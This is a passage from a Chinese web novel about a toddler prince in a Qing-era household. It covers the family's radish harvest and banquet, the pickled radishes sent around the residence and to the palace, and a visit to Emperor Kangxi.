完颜氏悠悠道:“我是刀子嘴斧子心,实话爷不愿意听,便下车寻那温柔乡去吧。” 胤禵语塞,别过脸去。 —— 另一边,驶向雍亲王府的马车上。 弘晏在乌拉那拉氏脸上亲了好几下,而后又窝在乌拉那拉氏怀里,软软地叫着额娘。 弘晏忽而撒起娇来,乌拉那拉氏问道:“福宝,这是怎么了?” 弘晏扬起小脸儿:“额凉,照顾窝,辛苦。” 今日瞧见了出生三日的弘眖,弘晏不禁想起了自身。 他胎穿过来,到如今长得白白胖胖的,可都是乌拉那拉氏的功劳。 乌拉那拉氏捧着弘晏的小脸儿亲了又亲:“额娘不辛苦,额娘的福宝最乖了。” 第76章 第76章萝卜开会 下了两场秋雨,天儿就有些冷了。 这日,天好不容易放了晴,艳阳高照,弘晏在院子里荡了秋千尽了兴,又哒哒跑回屋子,坐上了摇摇马,挥舞起小木剑,甚至还让乌拉那拉氏给他做了件大红色的披风,这样一来,才更像威风凛凛的大将军。 乌拉那拉氏则坐在小榻上给弘晏做贴身的寝衣、亵裤。 孩子长得快,不多做几件,哪里跟得上穿呢。 早早下值的胤禛在前院脱了官服换上常服,转而来了正院,一进门便喊道:“福宝。” “阿玛,看窝。”弘晏说完,当即在摇摇马上给胤禛表演了一套自创的剑法——斩空气。 观赏完弘晏表演的胤禛却很是捧场:“我儿勇武,将来定是巴图鲁。” 弘晏骄傲的扬了扬下巴,随后将那小木剑收入剑鞘,交给了王乳娘。 胤禛走过去,俯身将弘晏抱到怀里,言道:“阿玛带你去个好地方,可好?” 弘晏点了点头,旋即扭头看向坐在小榻上,手里还拿着针线在做寝衣的乌拉那拉氏喊道:“额凉也去。” 胤禛弯了弯嘴角:“这是自然的。” 乌拉那拉氏应了一声,将还未做完的寝衣放进了笸箩里,便站起了身。 一家三口从正院走到雍亲王府正门前,那马车已然稳稳地停着了。 胤禛坐在车厢的左侧,乌拉那拉氏坐在车厢的右侧,而弘晏自然就坐在中央了。 清脆的马鞭声响起,车轮滚滚向前。 约摸两刻钟的功夫,马车停下了。 而弘晏早在感知马车即将停下的时候,已然扭着小身子爬到乌拉那拉氏怀里,而后抬手掀开了马车帘子。 眼前的景象令弘晏惊的张大了嘴:“萝卜,好多萝卜。” 透过马车帘子,弘晏瞧见那田地里种着成片的萝卜,那萝卜个个又长又粗,长得极好。 胤禛瞧着弘晏惊呆的小模样,勾了勾嘴角,旋即捞起弘晏,就将人抱下了马车。 弘晏的脚落地之后,便抬眸望去,因着距离得近,是以瞧得更真切。 他面前的一大片土地全都种满了萝卜,有白萝卜、青萝卜 、胡萝卜还有红萝卜。 弘晏吞了吞口水,有些馋了。 胤禛一只手背在腰后,缓缓道:“福宝,今日阿玛带你来拔萝卜,待晚上回去叫厨房做一桌萝卜宴如何?” 弘晏已经迫不及待了:“好,窝要拔多多的萝卜。” 苏培盛递给弘晏一个盛萝卜用的篮子,弘晏的小胳膊挎过篮子便自信满满的出发了。 王乳娘忙跟上去。 胤禛与乌拉那拉氏则坐到一旁喝茶。 乌拉那拉氏开口问:“爷何时让人种了这么多的萝卜?” 这田地本就是雍亲王府的,若不是胤禛的意思,下面的人又怎么会种萝卜这种寻常可见的蔬菜。 胤禛饮了口茶,只道:“福宝喜欢。” 乌拉那拉氏没再说话,转而看向了沉浸在萝卜地里的弘晏。 弘晏走到田埂中央,将挎着的篮子放到了田埂上,转而撸起袖子,准备大干一场。 不过,弘晏瞧着眼前的萝卜,个个都好,一时挑花了眼,不知道该先拔哪个了。 是以,弘晏便准备拔离自己最近的那颗白萝卜。 找好了目标,弘晏伸出两只小肉手抓紧了萝卜缨,身体后仰开始用力。 这一用力,弘晏便从手掌上感知到了泥土开始松动了,脸上一喜,更加卖力了。 下一瞬,白萝卜忽而破泥而出,但弘晏没有防备,重心不稳,一屁股坐在了田埂上。 离得最近的王乳娘赶忙去扶弘晏。 而不远处一直关注弘晏动向的乌拉那拉氏立马站了起来,脸上浮现出担忧之色。 谁知下一秒,乌拉那拉氏就听见了弘晏的笑声。 弘晏朝着乌拉那拉氏的方向看去,高高举起手中的白萝卜:“嘿嘿,额凉,窝拔出来了。” 乌拉那拉氏脸上的担忧之色消失不见,替代的是欣慰的笑:“福宝最能干了。” 弘晏人虽然一屁股坐在了田埂上,但两只手可是死死抓住白萝卜的,没叫白萝卜滚到地上去。 这厢,王乳娘将弘晏扶起来,又从袖子里掏出帕子给弘晏擦袍子上的泥土。 而弘晏瞧着手里沉甸甸的白萝卜,肚子里的馋虫再也忍不住了,随即一口咬下去。 王乳娘听见“咔嚓”一声,一抬头便瞧见弘晏生啃了刚从泥土里拔出来的白萝卜。 弘晏咀嚼的香甜,那白萝卜上更是留下了两颗小米牙印。 “哎呦,六阿哥,这萝卜还没洗呢,可吃不得。”王乳娘忙劝道。 上回六阿哥虽直接生啃了萝卜,但好歹是洗过干净的。 这回可倒好,直接带着泥吃到肚子里去了。 弘晏把手里的萝卜往王乳娘面前送了送,好让王乳娘看清楚:“乳凉,干净的。” 萝卜只有根部那一块扎根在地里,他咬的可是萝卜的顶端,挨着萝卜缨的那一部分,自然没有泥土。 王乳娘瞧是瞧清楚了,可还是劝道:“阿哥,没洗过呢,不可再吃了。” 话说完,王乳娘拿过弘晏手里的白萝卜放进了篮子里。 弘晏点了点小脑袋。 解了馋虫,弘晏继续投入拔萝卜的工作。 拔了一根白萝卜,他要把其他颜色的萝卜也通通拔一遍。 一盏茶的功夫后,弘晏手拖着篮子,献宝似的来到了乌拉那拉氏面前。 乌拉那拉氏将弘晏拉到怀里,凑过去贴了贴弘晏的小脸蛋儿:“咱们福宝真能干。” 胤禛瞅了眼那篮子里的横七竖八的五六根萝卜,言道:“福宝,要做萝卜宴,光这几根可远远不够。” 弘晏正沉浸在乌拉那拉的夸赞当中,闻言,抬起手拍了拍自己的小胸脯:“窝还能拨很多呢。” 话说完,弘晏又冲着田埂的方向跑去了。 乌拉那拉氏剜了一眼胤禛:“爷还真打算叫福宝一个人拨了这片地?” 拨几个萝卜玩,叫福宝高兴高兴也就是了,还真使唤起来了。 胤禛笑道:“爷倒是想,可福宝没这力气。” 乌拉那拉氏闻言,倒是笑了,出言激将:”别说福宝,就是爷,恐怕也没这力气?” 乌拉那拉氏说完,悠悠端起了茶盏。 胤禛眉头一挑,将手里的茶盏撂下,拿起一个篮子便走向田埂了。 胤禛都开始拨萝卜了,苏培盛哪里能干看着,叫了随行的四个小太监一同下场拨萝卜去。 拨萝卜是体力活,弘晏很快出了汗,也累了,可瞧着哼哧哼哧埋头拨萝卜的胤禛,弘晏咬着牙也要继续拨下去,却被乌拉那拉氏给抱出去了。 来时白白净净的小娃娃,现在身上脏兮兮的都快成泥娃娃了。 王乳娘端来了盛着热水的铜盆,乌拉那拉氏沾湿了帕子,给弘晏洗干净脸和手,又将弘晏袍子上的灰尘给打了打,拍了拍。 弘晏这才勉强干净些。 弘晏眼巴巴望着乌拉那拉氏的茶盏:“额凉,窝渴了。” 这里没有牛乳,小小的娃娃又哪里能饮茶,乌拉那拉氏叫王乳娘端来了一碗白水,拿着调羹吹了吹,才喂给弘晏喝。 没多久,萝卜装满了十来个篮子,这便足够了。 胤禛与乌拉那拉氏便带着弘晏打道回府。 到了雍亲王府,乌拉那拉氏带着弘晏回正院沐浴更衣,胤禛便在前院的净室沐浴了。 苏培盛则吩咐小太监们将萝卜抬到厨房去,而后找了厨房管事胡全,转达了胤禛要办萝卜宴的意思。 末了,还不忘交代胡全,晚上的萝卜宴一定要有那道冰糖萝卜。 胡全一听,便知是六阿哥弘晏又点了菜,赶忙应下。 送走苏培盛之后,胡全便带着厨房的人开始热火朝天的忙活起来了。 正院这边。 洗香香的弘晏又变回了糯米团子,窝在乌拉那拉氏怀里玩起了九连环。 “咕咕。” 弘晏低头看向了发出抗议的小肚子。 乌拉那拉氏见状,便吩咐流萤端碗热牛乳来。 拨了那么多萝卜,费了不少力气,可不是饿了嘛。 弘晏却不要喝牛乳,喝饱了,他晚上还怎么吃丰盛的萝卜宴。 乌拉那拉氏哭笑不得,等天黑还得好久呢,总不能叫肚子饿瘪了。 弘晏既然不愿意喝牛乳,乌拉那拉氏便拿了一块孙泥额芬白糕给弘晏吃。 弘晏接过孙泥额芬白糕,却掰了一半,将另一半又放回到碟子里去。 吃点儿不饿就好了,他要留着肚子吃晚上的大餐。 弘晏是这么想着的,可当吃完了手里的半块孙泥额芬白糕,弘晏却觉得更饿了。 这半块孙泥额芬白糕一点儿饱腹感都没有,塞牙份儿也不够。 弘晏悄悄瞅了一眼在身旁做寝衣的乌拉那拉氏。 见乌拉那拉氏低头绣得认真,并没有关注自己,弘晏便放心的伸出手将碟子里剩下的那半块孙泥额芬白糕拿起来,而后小口小口的吃着。 乌拉那拉氏虽然在做寝衣,但余光一直关注着弘晏的动静,是以,将弘晏全部的小动作收入眼底。 不过,乌拉那拉氏装作什么都不知道,只弯了弯嘴角。 弘晏虽然还小,但有些地方已然是像极了胤禛。 爱面子,嘴还硬。 这厢,弘晏吃完了剩下半块的孙泥额芬白糕,还抬起手摸了摸嘴,将嘴角粘着的碎屑全都擦掉了。 毁尸灭迹。 才算神不知鬼不觉。 待到天色暗下来,明月高悬,乌拉那拉氏便带着弘晏往前厅去了。 李侧福晋等人已然到齐,见着乌拉那拉氏,便齐齐地福身道:“给福晋请安。” “都坐吧。”乌拉那拉氏说完,便坐到了主位上。 屋内女眷到齐,乌拉那拉氏使了眼色,银烛便迈步出去,到书房请了胤禛过来。 待胤禛过来,众人齐声道:“给爷/阿玛请安。” 胤禛大步过来落坐在了乌拉那拉氏身旁:“都坐吧,今日是家宴,不必拘束。” 胤禛话音落下,小太监们捧着菜肴鱼贯而入。 李侧福晋瞧着桌上的菜色便没有胃口。 好好的吃什么萝卜宴。 她之前禁足在碧波苑的时候,一日三餐简直素的要命,早就厌了萝卜白菜了。 年侧福晋尝了菜,却是十分惊喜:“还是爷奇思,不然妾身也不知这萝卜竟能做出这许多美味佳肴来。” 胤禛笑了:“爱吃,便多吃些。” 李侧福晋悄悄翻了个白眼,提起筷子从那萝卜堆里夹了肉吃。 而小孩儿这桌,弘晏正十分卖力的推荐自己的创新菜品——冰糖萝卜。 弘历觉得还行,反正不难吃,他可以接受。 弘昼就不太行了,不过还是很给面子的吃了一大口。 就当自己在吃冰糖葫芦。 弘时与李侧福晋一样,爱肉食,不爱素食,也不喜甜食,但是瞧着弘晏满是期待的眼神,弘时便提起筷子夹了一块。 这味道,倒是比他想象中的好。 看到三个哥哥都很给面子,弘晏心里很是高兴。 一顿萝卜宴热热闹闹的吃完,众人便各自散了。 胤禛抱着弘晏与乌拉那拉氏一起回了正院。 与从前一样,乌拉那拉氏睡在里侧,胤禛躺在外侧,弘晏则睡在拔步床中间。 到了半夜,“噗噗”的声音响个不停。 胤禛将帐幔掀开,下床点燃了 烛台。 乌拉那拉氏也从拔步床上下来了,这回别说胤禛嫌弃,就算是她也受不住了。 这屁,甚臭也。 偏偏放屁的弘晏却睡得十分香甜,浑然不觉。 乌拉那拉氏拿着帕子掩了掩鼻子,不禁埋怨起来:“爷非要弄什么萝卜宴,如今看如何安睡?” 胤禛心虚的摸了一下鼻子,又道:“萝卜宴,阖府上下都吃了,你我也不曾这样啊。” 乌拉那拉氏言道:“你我除了萝卜,还吃了旁的吃食,可福宝一晚上尽吃各种萝卜了。” 胤禛又望了一眼拔步床上熟睡的弘晏,对着乌拉那拉氏说道:“不若,我们到东厢房去睡?” 弘晏睡得这般沉,就算将他抱到隔壁的耳房睡,可屋子、褥子已然都沾上了臭味。 换床褥子、被子也好,开窗通风也罢,总是要折腾一番。 所以,动福宝,不如动他们自己。 乌拉那拉氏立马响应,留下王乳娘照看弘晏,便与胤禛一同到东厢房睡下了。 第77章 第77章下不为例 翌日清晨,弘晏跟着乌拉那拉氏用早膳的时候,瞧见流萤与银烛不仅将内室的雕花楹窗全部打开通风,还将被子、褥子与枕头一并抱了出去,便感到有些奇怪了。 弘晏扬起小脸儿望向乌拉那拉氏:“额凉,窝没尿床。” 乌拉那拉氏羽睫一颤,不免有些心虚,随即又露出了笑容,解释道:“今儿个天好,额娘叫她们把床褥洗晒了,给福宝换一套新的盖。” 弘晏点了点小脑袋。 见弘晏被说服,乌拉那拉氏眼睛闪了闪。 可算是糊弄过去了。 地里的萝卜都已成熟,高无奇命底下的小太监都萝卜拨了运回来直接送到了大厨房里。 胡全瞧着成堆的萝卜,自然是绞尽脑汁的将萝卜琢磨出新花样来做。 雍亲王府上上下下连吃了三天萝卜,除了弘晏,人人都快成萝卜了。 趁着弘晏不在,乌拉那拉氏问向胤禛:“爷种了这么多萝卜,如今阖府都吃厌了,其余的如何处理?” 萝卜不是什么稀罕玩意儿,送礼自然不成,若是免费发给百姓做善事,反倒要被好事之人挑礼。 堂堂的雍亲王,要做布施,竟连大米白面都舍不得,用萝卜来充数。 好事也要成了笑话。 若是成堆的卖出去,那就更招人笑话了。 胤禛将手上的茶盏放下,只命苏培盛叫胡全处理了这些萝卜。 胡全也是发愁,能想出的花样都做尽了。 随后,胡全将厨房的小太监与婢女集合起来,大家集思广益,终是想出了法子。 既然萝卜作为主菜吃腻了,不妨效仿民间,将萝卜腌制,做成酱菜,既好储藏,吃起来又方便。 打定主意,胡全分好工,众人便热火朝天的忙活了起来。 因着萝卜数量太多,十几个人从早做到晚,总算是将所有的萝卜腌制好了,静置三天,便可食用了。 三天之后,胡全先将做好的酱萝卜送去了正院,请乌拉那拉氏与弘晏品鉴。 腌制好的酱萝卜有咸香与酸辣两种,吃起来香脆爽口,乌拉那拉氏与弘晏都很喜欢。 乌拉那拉氏也知这几日胡全为了解决这些萝卜可是费了不少心思,便朝着流萤使了个眼色。 流萤心领神会,上前给了胡全一个荷包。 胡全笑呵呵的将荷包揣进了怀里:“谢福晋赏。” 话音落下,胡全便赶忙退了出去。 早膳吃完,弘晏自告奋勇的要去给王府各院送酱萝卜。 弘晏正是爱玩的时候,乌拉那拉氏自然答应了,命王乳娘好生看顾着。 弘晏第一站便去了年侧福晋的潇湘阁,只是刚刚迈上了石阶,弘晏便听见屋里传来几声咳嗽。 迈步进去,弘晏笑吟吟的朝着小榻上的年侧福晋请安:“年姨凉好。” 年侧福晋柔柔笑着:“六阿哥来了,梨云,快,拿两盘点心来。” 弘晏瞧着年侧福晋小脸白皙有些憔悴也没有什么血色,便歪着脑袋问道:“年姨凉病了吗?” 年侧福晋一愣,没想到两岁多的弘晏竟然看出了自己身体有恙:“六阿哥慧眼,昨儿夜里着了凉,吃几服药就成了。” 弘晏“哦”了一声。 此时,梨云正好走过来,将托盘上的两盘点心放在了小榻的矮桌上。 年侧福晋笑道:“阿哥不必拘束,尝尝我小厨房做的点心。” 弘晏不要梨云抱,自己一手撑着小榻的边沿,又抬起一只腿就翻上了小榻,而后敞开两条腿坐着,拿了碟子里的点心开始吃。 年侧福晋见弘晏吃得香甜,怕弘晏口渴,又叫梨云端来一碗热牛乳。 弘晏瞧年侧福晋一直盯着自己看,有些不好意思了:“姨凉,你也吃。” 年侧福晋笑了笑:“我没胃口,还是阿哥吃吧。” 弘晏听了这话,小大人似的一本正经劝道:“没胃口才要吃,吃饱饱,有力气,病才好。” 说着,弘晏从碟子里拿起一块糕点递给坐在对面的年侧福晋:“姨凉,吃吃。” 年侧福晋双手接过了弘晏递过来的糕点:“好,我听阿哥的。” 年侧福晋的眼睛一直瞧着弘晏,没一会儿的功夫,倒也吃完了一整块糕点,觉得有些甜腻,便饮了半盏茶来解腻。 弘晏吃得差不多了,喝了一大口牛乳,命王乳娘将两罐酱萝卜拿了上来,絮絮的交代:“左边这个是咸的,右边是酸辣的,姨凉病了,不吃辣,先吃咸的,与粥一起用,病好了,再吃酸辣的。” 弘晏嘴上边说着,怕年侧福晋分不清,两只小手对着两个罐子指来指去的。 年侧福晋耐心听完,柔柔道:“好,我都记下了。” 弘晏一只手扶住榻沿,一只腿慢慢移动向下探去,待站稳之后,弘晏又扬起脸对着年侧福晋嘱咐:“姨凉要好好吃饭,好好吃药。” 年侧福晋心中说不出的滋味,点了点头道:“阿哥放心,我会好好吃饭,好好吃药的。” 弘晏笑着朝年侧福晋摆手,便带着王乳娘离开了。 透过窗,年侧福晋瞧见弘晏与王乳娘走远了,便道:“梨云,将药端上来吧。” 随即,年侧福晋端起药碗一饮而尽。 这厢,弘晏从潇湘阁出来,又去了李侧福晋的碧波苑、钮祜禄格格的如意室、耿格格的邀月轩,连乌雅格格的揽霞居都去了。 瞧见弘晏来,乌雅格格甚是意外,送走弘晏,乌雅格格瞧着桌上的两罐酱萝卜,一股酸涩涌上心头。 当初,她先被德妃塞进雍亲王府,后被冯格格所连累,在雍亲王府如同一棵草般无声无息的活着,不承想,竟还有人能记着还有她这号人。 弘晏从揽霞居出来,又去前院给弘时送了酱萝卜。 这么一趟走下来,弘晏的体力已然殆尽了。 返回正院的路,便是王乳娘将弘晏抱回去的。 待回到了正院,弘晏又窝进乌拉那拉氏的怀里休息,乌拉那拉氏直夸弘晏能干。 末了,乌拉那拉氏还吩咐银烛再装好两份儿酱萝卜,一份儿送去那喇府,另一份儿则送去十三贝子府。 怀恪郡主如今害喜厉害,这酱萝卜她应当会喜欢。 这酱萝卜她吃着味道不错,叫胤祥与兆佳氏尝尝也是好的。 其下的酱萝卜一律送到冰窖里储藏就是,谁想吃了,直接去取就成。 弘晏在乌拉那拉氏怀里坐了许久,恢复了体力,脑子里复盘一遍之后,对着乌拉那拉氏说道:“额凉,皇玛法还没有。” 宫里的御膳房一应用料都是上等的,这酱萝卜送旁人还成,可送给康熙,乌拉那拉氏不敢擅自决定。 到了中午,胤禛来正院用膳,乌拉那拉氏把弘晏的意思说了,等着胤禛拿主意。 胤禛出声道:“福宝的一份儿心意,送了也没什么,只是永和宫那一份儿万不能少了。” 康熙坐拥四海,什么山珍海味都见识过、享用过,可这酱萝卜朴实无华,是极好的下粥小菜,说不定能合了康熙的心意呢。 至于德妃那里,他只尽了面上的孝心,叫旁人挑不出错来也就是了。 乌拉那拉氏点头:“好,就按爷说得办。” 用过午膳,胤禛提了狼毫笔将酱萝卜的两种口味写下来,分别贴在对应口味的罐子上,乌拉那拉氏叫流萤装好之后,就送进宫里去了。 胤禛的余光注意到弘晏的眼睛一直盯着笔墨看,便问道:“福宝,可要跟阿玛学写字?” 弘晏摇了摇小脑袋。 他是喜欢看便宜阿玛写字,并不意味着自己要学写字。 胤禛忽略弘晏的反应:“好,孺子可教也,阿玛这就来教你写。” 弘晏:“???” 下一瞬,胤禛已经将弘晏放到了圈椅上,托起弘晏的右手,将狼毫笔塞进了弘晏手里,而后握住弘晏手,带着他写字。 胤禛边写边说道:“福宝,这是‘人’。” 弘晏配合着念了一遍:“人。” 胤禛脸上一喜:“对,福宝,来,你瞧着阿玛的字,试着写一写。” 话音落下,胤禛松了握住弘晏的手,满是期待的看着弘晏。 弘晏瞅了一眼纸上那一撇一捺的“人”字,而后将握住狼毫笔的手松开了。 “啪嗒”一声,狼毫笔跌落在纸上,雪白的纸上立时晕染了一团黑墨。 弘晏就在胤禛还没反应过来的时候,抬起手掌按进了研磨好的砚台里,而后将沾满墨汁的小手掌印在了纸上。 弘晏将手抬起,下一瞬,一个五根手指根根分明的手掌印跃入纸上。 弘晏觉得有趣,接着往纸上按了五六个手掌印。 胤禛看不过去了,但又不舍得训,只问道:“福宝,阿玛叫你写字,你这是作甚?” 弘晏忽闪着大眼睛看向胤禛:“阿玛,好看。” 他这般年纪正是玩得时候,写什么字啊。 胤禛:“……” 小黑爪子,哪里好看了。 忽而,胤禛来了主意:“福宝,阿玛给你画只猫,如何?” 弘晏笑道:“好啊。” 胤禛朗声道:“那福宝先闭上眼睛。” 弘晏乖乖地照做了。 随后,胤禛拿起狼毫笔在弘晏的左脸上画了三根须,对称着在右边也画了三根须,最后将狼毫笔放下,抱着弘晏到乌拉那拉氏的梳妆台前去照镜子:“福宝,阿玛画的猫可好看?” 胤禛的嘴角已然忍不住翘了起来。 弘晏闻言,睁开了眼睛。 瞧清楚了镜子里的自己,弘晏才明白过来自己上当了。 怪不得自己闭眼睛以后,感觉脸颊痒痒的,凉凉的。 弘晏哼了哼鼻子,以迅雷不及掩耳之势,抬起小黑手掌抹向了胤禛的脸。 很可惜,弘晏手心的墨早已干透了,胤禛脸上并未沾上一丝墨。 胤禛轻轻拍了拍弘晏的小屁股:“福宝,你可是答应阿玛画猫,阿玛才画的。” 弘晏气鼓鼓的望向得意的胤禛。 跟他玩文字游戏是吧。 此时,乌拉那拉氏进来了,弘晏立马变得委屈巴巴:“额凉。” 弘晏还不忘举起了自己的小黑手给乌拉那拉氏瞧。 乌拉那拉氏剜了胤禛一眼,抱过弘晏便叫流萤打盆热水来。 乌拉那拉氏边给弘晏擦脸边埋怨道:“爷说要教福宝写字,怎的先花了脸?哪有爷这般欺负自己儿子的。” 有靠山的弘晏跟着附和:“就是,就是。” 胤禛战术性的咳嗽了一声:“福宝手软,还捏不了笔,我本就是带着他玩的。” 乌拉那拉氏语气软下来了:“那也不能带着福宝玩墨啊,吃到嘴里该怎么好?” 胤禛喉咙滚了滚:“下不为例。” 乌拉那拉氏没再说话,给弘晏洗干净脸和手之后,便要抱着弘晏去园子里赏花。 快要走出门的时候,乌拉那拉氏怀里的弘晏冲着胤禛做了个鬼脸。 胤禛“啧”了声。 小家伙脸变得可真是快。 第78章 第78章言出必行 翌日黄昏,胤禛下值回府去了正院,捎回了最新的消息。 康熙对送去的酱萝卜赞不绝口,很是喜欢,话中之言还想让雍亲王府再送进宫一些。 小榻上坐着的弘晏正咬着孙泥额芬白糕,闻此言,含糊不清地说道:“明日,窝给皇玛法送。” 胤禛嘴角翘了翘,看向晃悠小脚丫的弘晏:“你是得去,你皇玛法点名要见你呢。” 弘晏忽闪着眼睛,很是骄傲:“嘿嘿,皇玛法定然是想窝了。” 丰盛的晚膳上了桌,酱萝卜自然也不能少,配着粳米粥,弘晏吃了满满一碗呢。 胤禛还有公务未处理完,用完晚膳便回了前院书房。 弘晏美美得洗了热水澡,便被乌拉那拉氏哼唱的摇篮曲哄睡着了。 到了第二日清晨,乌拉那拉氏给弘晏穿上了一件浅绿色绣竹叶的新袍子,母子两个吃完早膳以后,胤禛便差苏培盛来了正院。 苏培盛一进门,便打千道:“给福晋请安,给六阿哥请安,爷已然在马车上等着了。” 随即,弘晏笑呵呵的跟着苏培盛往前院去了。 出了雍亲王府正门后,苏培盛将弘晏抱上了马车。 “阿玛。”弘晏糯叽叽地冲着胤禛喊了一声。 胤禛大手一捞,将弘晏抱在了身旁坐着。 一刻钟左右,马车停在了皇宫门外,胤禛抱着弘晏下了马车,径直往乾清宫去。 屋檐下侯着的魏珠远远瞧见胤禛父子的身影,转身便进去禀报了。 待胤禛抱着弘晏走近上了石阶,魏珠直接侧身而站,抬出手做了个“请”的手势。 胤禛微微颔首,便抱着弘晏进了殿内。 “儿臣给汗阿玛请安。” 胤禛声音落下,弘晏紧随其后:“皇玛法。” 御案后坐着的康熙抬了抬手,示意胤禛起身,随即又冲着弘晏招了招手。 弘晏哒哒的跑过去:“皇玛法,窝给泥送酱萝卜。” 康熙俯身一把将弘晏抱坐在膝头,笑问:“那前日怎不来给皇玛法送?” 弘晏努了努嘴,抬起手指向了立在堂下的胤禛:“阿玛拿墨画窝脸上,还打屁屁。” 弘晏边说着,又边将指着胤禛的手指收回来,转而在自己脸上比划着,复刻了一下胤禛画的六条猫须。 胤禛:“?!” 望着康熙投来的视线,胤禛赶忙垂眸,出言解释道:“禀汗阿玛,前日福宝瞧见儿臣在写字,很是好奇,儿臣便想教他写字。” 康熙摸了摸弘晏的小脑袋,质问道:“福宝才两岁,写什么字?” 弘晏刚才比划的,他可是瞧得明白,分明是老四故意拿着狼毫笔在他好皇孙的小脸儿上作画,如今被自己儿子告到了老子面前,窘迫难认,才胡诌出这冠冕堂皇的话来。 胤禛接着解释:“儿臣一时兴起,左不过是带着他玩的。” 弘晏是故意在康熙面前告状的,好让便宜阿玛知道自己也是有靠山的,不要以大欺小。 如今目的达到,弘晏自然见好就收。 弘晏晃了晃 康熙的袖子,眨着眼睛奶声奶气的说道:“皇玛法,是玩的,窝拿手沾墨糊阿玛脸,可墨干了。” 康熙这下子明白了。 自己是被弘晏当/枪/使了。 不过,一向不苟言笑的老四,如今得了这么个可爱的儿子,私下里竟然也能有了童趣陪幼子玩闹,也是难得了。 康熙看向胤禛,声音温和多了:“老四,你自忙去吧。” 胤禛打千儿道:“嗻,儿臣告退。” 康熙怀里的弘晏闻言,朝着胤禛摆手道:“阿玛,记得来接窝。” 胤禛嘴角弯了弯,低眸退了出去。 待胤禛走后,康熙低眸在弘晏的小脸儿上轻轻捏了捏:“好啊,小福宝,知道拿朕来吓唬你阿玛。” 弘晏的小脑袋窝进康熙怀里蹭了蹭:“嘿嘿,皇玛法,泥最疼窝了。” 康熙见状,哈哈大笑,而后站起身来抱着弘晏坐到了临窗的檀木榻上。 少顷,魏珠进门禀报:“皇上,二十三阿哥来了。” 嘴里嚼着桃脯的弘晏闻言,思忖着二十三阿哥应该就是便宜阿玛的二十三弟了,应当是一个意气风发的少年郎。 是以,弘晏抬起了小脑袋望向门外,想一睹这位二十三叔的风采。 却不料,跟着魏珠后面的是一个走路摇摇晃晃、长得白白胖胖的小奶团子。 胤祁奶呼呼的喊道:“汗阿玛~” 康熙笑得慈爱,冲着胤祁招手:“小二十三,来汗阿玛这儿。” 胤祁在弘晏震惊的目光中走到了康熙面前。 许是弘晏的目光太过直白,胤祁感觉到了有一双眼睛一直盯着他瞧,一扭头便与弘晏对视了。 弘晏这才发现,这二十三阿哥的个子还要比自己要低一点。 弘晏还没有缓过劲儿来,就听见面前的小奶团子忽然冲着自己喊道:“锅锅。” 弘晏:“?!” 康熙哭笑不得:“小二十三,可不是比你高得都是哥哥。” 随即,康熙开始为两个小团子介绍起来:“小二十三,这是你四哥的儿子福宝,也就是你的侄子。” 康熙对着胤祁说完,又看着弘晏道:“福宝,这是你二十三叔胤祁。” 弘晏喉咙滚了滚,艰难地张开嘴,对着眼前这个懵懵懂懂的奶娃娃喊道:“二十三叔好。” 胤祁忘了改怎么称呼弘晏了,求助的看向康熙。 “小二十三,记住这是你四哥的儿子,你就唤他福宝好了。”康熙耐心地说道。 胤祁点了点小脑袋,对着弘晏喊道:“福宝。” 弘晏勉强的挤出笑来。 康熙摸了摸弘晏的小脑袋,出声道:“福宝,小二十三与你年纪相仿,朕特意命人将他接来与你作伴。” 弘晏:“……” 一盏茶后,弘晏已然与胤祁打成一片了。 叫了第一声“二十三叔”,其实也没有那么难以出口了。 康熙饮了口茶,看着拿布老虎逗胤祁的弘晏说道:“福宝,午膳就在乾清宫用,你想吃什么,朕让御膳房给你做。” 弘晏歪了歪脑袋,喊道:“皇玛法,窝要吃冰糖萝卜。” “冰糖萝卜?” 康熙内心有些嘀咕,这是什么吃法? 别说康熙,就连一旁的梁九功面上也浮现了迷茫之色。 弘晏将布老虎塞进了胤祁怀里,转而对着康熙说道:“皇玛法,窝知道怎么做,窝去御膳房告诉御厨。” 康熙笑道:“御膳房哪里是小孩子玩闹的地方,你告诉梁九功,他自会转达给御厨。” 弘晏拉着康熙的手,哼唧起来:皇玛法,窝想去,让窝去嘛。” 雍亲王府的厨房他都去过了,也想瞧瞧大名鼎鼎的御膳房是什么模样。 胤祁虽然不明白发生了什么,可瞧着弘晏哀求康熙的模样,还以为御膳房是好玩的地方,于是将手上的布老虎扔下,也哒哒的跑过去扯着康熙的衣角说道:“汗阿玛,窝也去。” 康熙哪里经得住两个小奶团子的撒娇攻势,松口道:“好,朕允了。” 弘晏笑了:“嘿嘿,皇玛法最好了。” 胤祁跟着笑:“汗阿玛最好了。” 康熙抬眸看向梁九功:“叫魏珠带着胤祁和福宝去御膳房一趟。” 梁九功应声:“嗻。” 出发前,魏珠言道:“二十三阿哥,弘晏阿哥,御膳房离乾清宫有段路,叫奴才们抱着你们去吧。” “好。”弘晏说完,直接伸展了双臂。 胤祁有样学样。 下一瞬,魏珠在前面带路,两个御前的小太监分别抱着胤祁与弘晏并排跟在后面。 到了御膳房,弘晏被惊住了。 比雍亲王府的厨房大十倍都不止呢。 山珍海味,应有尽有。 御膳房总管弓着腰来请安,魏珠道明了康熙的口谕之后,那总管立马带着他们来到了靠里侧的一个灶台前。 御膳房总管指着一个小太监说道:“弘晏阿哥,这冰糖萝卜该如何做?您说,他来掌勺。” 弘晏一口应下。 这小太监也是伶俐,得了弘晏的指点,立马就明白了弘晏想要的是什么成品。 不过一盏茶的功夫,冰糖萝卜就出锅了。 观看全程的胤祁已然急不可耐了,想要上手去抓,被弘晏劝住:“二十三叔,烫,咱们回去吃。” 胤祁闻言,吞了吞口水后,点了点小脑袋。 一行人回到乾清宫后,康熙也下了御案,想要尝尝这道冰糖萝卜是何美味。 胤祁眼睛都亮了:“福宝,好甜,好吃。” 弘晏出声道:“嘿嘿,二十三叔喜欢,可叫御膳房常做。” 胤祁边吃边点头。 康熙尝了一口后,沉默地放下了筷子。 小娃娃家喜欢这道冰糖萝卜,左不过是因为萝卜块裹了糖浆口感甜蜜罢了,并无出奇之处。 成功安利了胤祁,弘晏倒是把康熙给忘了:“皇玛法,好吃吗?” 望着弘晏的星星眼,康熙迟疑的“嗯”了一声。 弘晏见状,笑得眼睫弯弯:“窝就说萝卜好吃,窝在府里也天天吃的。” 康熙捕捉到了弘晏话中的关键词,问道:“福宝,你是说你在雍亲王府天天吃萝卜?” 弘晏毫不犹疑的点了点头,而后兴冲冲的将胤禛带他去拔萝卜、全府吃了三天萝卜、萝卜太多吃不完做成酱萝卜都讲了出来。 萝卜乃人间一大美味,怎么做都好吃。 